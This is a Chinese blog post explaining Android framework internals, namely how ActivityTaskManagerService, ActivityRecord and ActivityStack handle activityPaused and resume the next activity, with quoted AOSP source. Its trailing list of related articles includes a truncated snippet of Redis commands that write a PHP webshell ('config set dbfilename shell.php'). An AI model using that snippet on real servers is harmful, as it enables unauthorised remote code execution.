当前Activity的onPause执行完后,调用Paused接口
前言
在前文中已经讲到.
- Launcher拉起新的Activity,并在ATMS中执行pause Activity的操作,以及当前Activity执行Pause的流程.
- 在当前Activity执行pause时同步执行拉起新进程操作.
本文主要讲当前Activity已经执行完Pause操作,调用ATMS的activityPaused接口,告知当前Activity已经暂停成功了的流程.
详细流程分析
在PauseActivityItem执行postExecute时,就会调用ActivityTaskManager.getService().activityPaused(token);这个方法通过binder调用到ATMS的activityPaused.
activityPaused:1843, ActivityTaskManagerService
public final void activityPaused(IBinder token) {
synchronized (mGlobalLock) {
Trace.traceBegin(TRACE_TAG_WINDOW_MANAGER, "activityPaused");
final ActivityRecord r = ActivityRecord.forTokenLocked(token);
if (r != null) {
r.activityPaused(false);
}
}
Binder.restoreCallingIdentity(origId);
}
这里首先通过token去获取了当前Pause的Activity在ATMS中对应的ActivityRecord实例,然后调用
ActivityRecord的activityPaused.
todo:Activity,ActivityRecord,token,stack,task之间的关系.
activityPaused:4930, ActivityRecord
void activityPaused(boolean timeout) {
if (DEBUG_PAUSE) Slog.v(TAG_PAUSE,
"Activity paused: token=" + appToken + ", timeout=" + timeout);
final ActivityStack stack = getStack();
首先查找当前的ActivityRecord对应的ActivityStack
if (stack != null) {
removePauseTimeout();
if (stack.mPausingActivity == this) {
if (DEBUG_STATES) Slog.v(TAG_STATES, "Moving to PAUSED: " + this
+ (timeout ? " (due to timeout)" : " (pause complete)"));
mAtmService.deferWindowLayout();
try {
stack.completePauseLocked(true /* resumeNext */, null /* resumingActivity */);
} finally {
mAtmService.continueWindowLayout();
}
return;
如果stack正在pausing的Activity是当前Activity,那么调用stack.completePauseLocked去resume下一个待resume的activity.
} else {
if (isState(PAUSING)) {
setState(PAUSED, "activityPausedLocked");
if (finishing) {
if (DEBUG_PAUSE) Slog.v(TAG,
"Executing finish of failed to pause activity: " + this);
completeFinishing("activityPausedLocked");
}
}
}
如果当前在pausing的activity不是当前的这个Activity.那么做一些状态的处理.(假设Activity a pause但是超时了,那么在超时的时候就会调用paused操作.此时又把当前resume的Activity pause,而 a Activity有回调了activityPaused接口就会进入这个分支.)
}
mRootWindowContainer.ensureActivitiesVisible(null, 0, !PRESERVE_WINDOWS);
}
如果当前Activity的堆栈为空,或者当前pausing Activity不是当前这个Activity,那么还要调用mRootWindowContainer的ensureActivitiesVisible.
这里pausing Activity就是当前这个Activity,所以执行stack.completePauseLocked
completePauseLocked:1166, ActivityStack
void completePauseLocked(boolean resumeNext, ActivityRecord resuming) {
ActivityRecord prev = mPausingActivity;
if (DEBUG_PAUSE) Slog.v(TAG_PAUSE, "Complete pause: " + prev);
if (prev != null) {
prev.setWillCloseOrEnterPip(false);
final boolean wasStopping = prev.isState(STOPPING);
prev.setState(PAUSED, "completePausedLocked");
if (prev.finishing) {
if (DEBUG_PAUSE) Slog.v(TAG_PAUSE, "Executing finish of activity: " + prev);
prev = prev.completeFinishing("completePausedLocked");
} else if (prev.hasProcess()) {
if (DEBUG_PAUSE) Slog.v(TAG_PAUSE, "Enqueue pending stop if needed: " + prev
+ " wasStopping=" + wasStopping
+ " visibleRequested=" + prev.mVisibleRequested);
if (prev.deferRelaunchUntilPaused) {
// Complete the deferred relaunch that was waiting for pause to complete.
if (DEBUG_PAUSE) Slog.v(TAG_PAUSE, "Re-launching after pause: " + prev);
prev.relaunchActivityLocked(prev.preserveWindowOnDeferredRelaunch);
} else if (wasStopping) {
// We are also stopping, the stop request must have gone soon after the pause.
// We can't clobber it, because the stop confirmation will not be handled.
// We don't need to schedule another stop, we only need to let it happen.
prev.setState(STOPPING, "completePausedLocked");
} else if (!prev.mVisibleRequested || shouldSleepOrShutDownActivities()) {
// Clear out any deferred client hide we might currently have.
prev.setDeferHidingClient(false);
// If we were visible then resumeTopActivities will release resources before
// stopping.
prev.addToStopping(true /* scheduleIdle */, false /* idleDelayed */,
"completePauseLocked");
}
} else {
if (DEBUG_PAUSE) Slog.v(TAG_PAUSE, "App died during pause, not stopping: " + prev);
prev = null;
}
// It is possible the activity was freezing the screen before it was paused.
// In that case go ahead and remove the freeze this activity has on the screen
// since it is no longer visible.
if (prev != null) {
prev.stopFreezingScreenLocked(true /*force*/);
}
mPausingActivity = null;
}
先获取当前Activity栈中待pause的Activity,执行一些Activity pause后的收尾工作.
if (resumeNext) {
final ActivityStack topStack = mRootWindowContainer.getTopDisplayFocusedStack();
if (topStack != null && !topStack.shouldSleepOrShutDownActivities()) {
mRootWindowContainer.resumeFocusedStacksTopActivities(topStack, prev, null);
} else {
checkReadyForSleep();
final ActivityRecord top = topStack != null ? topStack.topRunningActivity() : null;
if (top == null || (prev != null && top != prev)) {
// If there are no more activities available to run, do resume anyway to start
// something. Also if the top activity on the stack is not the just paused
// activity, we need to go ahead and resume it to ensure we complete an
// in-flight app switch.
mRootWindowContainer.resumeFocusedStacksTopActivities();
}
}
}
如果需要resume 下一个activity,那么调用mRootWindowContainer.resumeFocusedStacksTopActivities去resume它.
上面两个不同参数的resumeFocusedStacksTopActivities方法的区别在于第一种是确定要拉起哪个堆栈中的Activity,另一个是要从所有的显示区域去找一个需要显示的堆栈,如果找不到的话则拉起Launcher.
当前Activity的onPause执行完后,调用Paused接口的更多相关文章
- 用一个bat文件调用另外两个bat文件,当1.bat执行完后再执行2.bat
用一个bat文件调用另外两个bat文件,当1.bat执行完后再执行2.bat 摘自:https://zhidao.baidu.com/question/492732911.html @echo off ...
- 在Struts.xml中的result元素指的是:指定动作类的动作方法执行完后的结果视图.
result结果集 上一篇文章主要讲Struts2框架(4)---Action类访问servlet这篇主要讲result结果集 在Struts.xml中的result元素指的是:指定动作类的动作方法执 ...
- vue在一个方法执行完后再执行另一个方法
vue在一个方法执行完后执行另一个方法 用Promise来实现.Promise是ES6的新特性,用于处理异步操作逻辑,用过给Promise添加then和catch函数,处理成功和失败的情况 ES7中新 ...
- 有三个线程,a、b、c,a打印“T1”,b打印“T2”,c打印“T3”,a执行完后,b执行;b执行完后,c执行。如此循环100遍
有三个线程,a.b.c,a打印“T1”,b打印“T2”,c打印“T3”,a执行完后,b执行:b执行完后,c执行.如此循环100遍. package com.company; /** * 测试三个线程协 ...
- T100——作业action执行其他P作业,后台背景执行完后才能继续操作改作业
范例:如axmt500订单,查询开单占用量: 客制作业cxmp500,通过参数-订单号,查询该订单下的料件,目前有库存量.开单占用量.库存可用量,查询后更新到该订单下的单身对应栏位: 现在axmt50 ...
- iOS AFNetWorking中block执行完后再执行其它操作
需求:同时进行两次网络请求,网络请求是异步的,在网络请求成功后进行其它的操作.两个网络请求是这样,一个网络请求中block执行完之后,再进行其它操作,也是一样的原理,只是这时候不需要线程组了,只需要信 ...
- 现在有T1、T2、T3三个线程,怎样保证T2在T1执行完后执行,T3在T2执行完后执行?使用Join
public class TestJoin { public static void main(String[] args) { Thread t1 = new Thread(new T1(), &q ...
- C#子线程执行完后,调用主线程的方法
private delegate void CheckVersionNumber_CallBack(string str);//定义一个为委托 用于 检测版本 //检测版本private void m ...
- 对象内存空间 在创建对象后 运行时 会把对象的方法放到jvm的方法区中 调用时 将方法拿到栈中 执行完后 这个方法会出栈 然后新的方法方法进栈
随机推荐
- java中this和super的用法及区别
this 用法1:代表当前对象本身 用法2:方法形参和类成员变量重名,用this进行区别 class demo{ private int age = 10; public int getAge(int ...
- TERSUS无代码开发(笔记08)-简单实例电脑端后台逻辑开发
主管审批功能逻辑开发 1.查询逻辑开发(查询待审批记录) 2.批准处理(将选中的一条记录进行批准处理) =============================================== ...
- 前端与后端之间参数的传递与接收和@RequestBody,@Requestparam,@Param三个注解的使用
参数在前台通过对象的形式传递到后台,在后台,可以用@RequestBody注解通过Map或JSONObject接收(太麻烦,既要从Map中取值,取完值后又要封装到Map),也可以用@RequestPa ...
- Kubernetes-2.组件
内容主要摘自官网文档资料 官网地址 本文概述了交付正常运行的Kubernetes集群所需的各种组件. 本文编写基于kubernetes v1.17版本 目录 Kubernetes集群 Master组件 ...
- 剑指 Offer 48. 最长不含重复字符的子字符串 + 动态规划 + 哈希表 + 双指针 + 滑动窗口
剑指 Offer 48. 最长不含重复字符的子字符串 Offer_48 题目详情 解法分析 解法一:动态规划+哈希表 package com.walegarrett.offer; /** * @Aut ...
- PAT-1136(A Delayed Palindrome)字符串处理+字符串和数字间的转换
A Delayed Palindrome PAT-1136 我这里将数字转换为字符串使用的是stringstream字符串流 扩充:将字符串转换为数字可以使用stoi函数,函数头为cstdlib #i ...
- 【转载】UML类图中箭头和线条的含义和用法
文章转载自 http://blog.csdn.net/hewei0241/article/details/7674450 https://blog.csdn.net/iamherego/article ...
- javaweb遇到的报错及解决方式
javaweb报错问题以及解决方案 问题(报错信息):Application Server was not connected before run configuration stop, reaso ...
- WEB服务-Nginx之十-keepalived
WEB服务-Nginx之10-keepalived 目录 WEB服务-Nginx之10-keepalived Keepalived和高可用 基本概述 Keepalived安装配置 Keepalived ...
- redis一句话木马控电脑
(1)在redis管理工具内写入木马并保存: 输入命令行: config set dbfilename shell.php set shell "<?php @assert($_P ...